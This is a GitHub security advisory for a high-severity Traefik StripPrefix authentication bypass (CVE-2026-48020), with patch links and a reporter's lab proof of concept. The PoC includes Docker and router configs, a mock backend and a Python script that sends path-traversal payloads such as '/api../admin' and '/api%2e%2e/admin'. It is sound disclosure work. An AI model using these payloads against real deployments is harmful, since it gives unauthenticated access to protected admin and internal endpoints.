GitHub Advisoryadvisory · Go
GHSA-xf64-8mw2-4gr2 Traefik has a StripPrefix Route-Level Auth Bypass via Path Normalization
HIGH
Official page ↗
- Aliases
- CVE-2026-48020
- Ecosystem
- Go
- Packages
- github.com/traefik/traefik/v2, github.com/traefik/traefik/v3
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
- Weaknesses
- CWE-22, CWE-288
- Reviewed
- 2026-06-11
Affected packages
• Go github.com/traefik/traefik/v2: < 2.11.48 → fixed in 2.11.48
• Go github.com/traefik/traefik/v3: < 3.6.19 → fixed in 3.6.19
• Go github.com/traefik/traefik/v3: >= 3.7.0-ea.1, < 3.7.3 → fixed in 3.7.3
Description
Summary
There is a high severity vulnerability in Traefik's `StripPrefix` middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a `PathPrefix` rule and applies the `StripPrefix` middleware, a request path containing `..` or its percent-encoded form `%2e%2e` can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.
Patches
• https://github.com/traefik/traefik/releases/tag/v2.11.48
• https://github.com/traefik/traefik/releases/tag/v3.6.19
• https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If there are any questions or comments about this advisory, please open an issue.
Original Description
Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)
Summary
A route-level authentication/authorization bypas was found in Traefik when `PathPrefix`-based public routes are combined with `StripPrefix`.
A request using `/api../` or `/api%2e%2e/` can avoid protected router rules at the routing stage, but after `StripPrefix`, the path is normalized and forwarded to the backend as a protected path such as `/admin` or `/internal/config`.
This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed `StripPrefixRegex` / path-normalization issues.
This report specifically affects `StripPrefix`.
Affected Versions Tested
| Image | Observed Version | Result |
|---|---|---|
| `traefik:v2.11` | `v2.11.46` | Affected |
| `traefik:v3.6` | `v3.6.17` | Affected |
| `traefik:latest` | `v3.7.1` | Affected |
Lab Contrast
| Image | Result |
|---|---|
| `traefik:v2.10` | Not reproduced in lab |
| `traefik:v3.5` | Not reproduced in lab |
Vulnerable Configuration Pattern
The issue appears when:
• a broad public route strips a prefix
• while a separate protected route is intended to guard internal/admin paths
```yaml
http:
routers:
public-api:
rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
entryPoints:
• web
middlewares:
• strip-api
service: backend
protected:
rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
entryPoints:
• web
middlewares:
• auth
service: backend
middlewares:
strip-api:
stripPrefix:
prefixes:
• /api
auth:
basicAuth:
users:
• 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services:
backend:
loadBalancer:
servers:
• url: http://backend:9000
```
Observed Behavior
Direct Protected Paths
These are correctly blocked.
| Request | Expected | Observed |
|---|---|---|
| `GET /admin` | Blocked | `401` |
| `GET /internal/config` | Blocked | `401` |
Expected Public Exclusions
These do not expose protected backend paths.
| Request | Expected | Observed |
|---|---|---|
| `GET /api/admin` | Not routed to protected backend path | `404` |
| `GET /api/internal/config` | Not routed to protected backend path | `404` |
Bypass Payloads
These reach protected backend paths.
| Request | Observed Status | Backend Receives |
|---|---|---|
| `GET /api../admin` | `200` | `/admin` |
| `GET /api%2e%2e/admin` | `200` | `/admin` |
| `GET /api../internal/config` | `200` | `/internal/config` |
| `GET /api%2e%2e/internal/config` | `200` | `/internal/config` |
Minimal PoC
docker-compose.yml
```yaml
services:
traefik:
image: traefik:v3.7
command:
• --providers.file.filename=/etc/traefik/dynamic.yml
• --entrypoints.web.address=:8080
• --accesslog=true
ports:
• "127.0.0.1:18080:8080"
volumes:
• ./dynamic.yml:/etc/traefik/dynamic.yml:ro
depends_on:
• backend
backend:
image: python:3.12-slim
working_dir: /app
command: python backend.py
volumes:
• ./backend.py:/app/backend.py:ro
expose:
• "9000"
```
dynamic.yml
```yaml
http:
routers:
public-api:
rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
entryPoints:
• web
middlewares:
• strip-api
service: backend
protected:
rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
entryPoints:
• web
middlewares:
• auth
service: backend
middlewares:
strip-api:
stripPrefix:
prefixes:
• /api
auth:
basicAuth:
users:
• 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services:
backend:
loadBalancer:
servers:
• url: http://backend:9000
```
backend.py
```python
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class Handler(BaseHTTPRequestHandler):
def log_message(self, fmt, *args):
return
def _json(self, status, obj):
body = json.dumps(obj).encode()
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_GET(self):
if self.path == "/admin":
self._json(200, {
"seen_path": self.path,
"secret": "ADMIN_SECRET_REACHED"
})
elif self.path == "/internal/config":
self._json(200, {
"seen_path": self.path,
"secret": "TRAEFIK_LAB_INTERNAL_CONFIG"
})
elif self.path == "/admin/exec":
self._json(200, {
"seen_path": self.path,
"rce_chain_marker": True,
"note": "protected execution endpoint reached"
})
else:
self._json(404, {
"seen_path": self.path,
"secret": None
})
HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()
```
poc.py
```python
!/usr/bin/env python3
from urllib.request import Request, urlopen
from urllib.error import HTTPError
BASE = "http://127.0.0.1:18080"
PATHS = [
"/admin",
"/internal/config",
"/api/admin",
"/api/internal/config",
"/api../admin",
"/api%2e%2e/admin",
"/api../internal/config",
"/api%2e%2e/internal/config",
"/admin/exec",
"/api/admin/exec",
"/api../admin/exec",
"/api%2e%2e/admin/exec",
]
for path in PATHS:
req = Request(BASE + path)
try:
with urlopen(req, timeout=5) as r:
status = r.status
body = r.read().decode(errors="replace")
except HTTPError as e:
status = e.code
body = e.read().decode(errors="replace")
print(f"{path:28} {status} {body[:180]}")
```
Run
```bash
docker compose up -d
python3 poc.py
```
Expected Vulnerable Output
```text
/admin 401
/internal/config 401
/api/admin 404
/api/internal/config 404
/api../admin 200 backend seen_path=/admin
/api%2e%2e/admin 200 backend seen_path=/admin
/api../internal/config 200 backend seen_path=/internal/config
/api%2e%2e/internal/config 200 backend seen_path=/internal/config
/api../admin/exec 200 protected execution endpoint reached
/api%2e%2e/admin/exec 200 protected execution endpoint reached
```
Root Cause Hypothesis
The vulnerable behavior appears to be caused by path normalization after prefix stripping.
```text
Incoming path: /api../admin
After StripPrefix("/api"): /../admin
After JoinPath(): /admin
```
The request does not match the protect…
Related
Alias · CVE (1)
- CVE-2026-48020 Traefik is an HTTP reverse proxy and load balancer. vulnerability
References
- https://github.com/traefik/traefik/security/advisories/GHSA-xf64-8mw2-4gr2 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-48020 advisory
- https://access.redhat.com/errata/RHSA-2026:62260 web
- https://access.redhat.com/security/cve/CVE-2026-48020 web
- https://bugzilla.redhat.com/show_bug.cgi?id=2491915 web
- https://github.com/traefik/traefik package
- https://github.com/traefik/traefik/releases/tag/v2.11.48 web
- https://github.com/traefik/traefik/releases/tag/v3.6.19 web
- https://github.com/traefik/traefik/releases/tag/v3.7.3 web
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48020.json web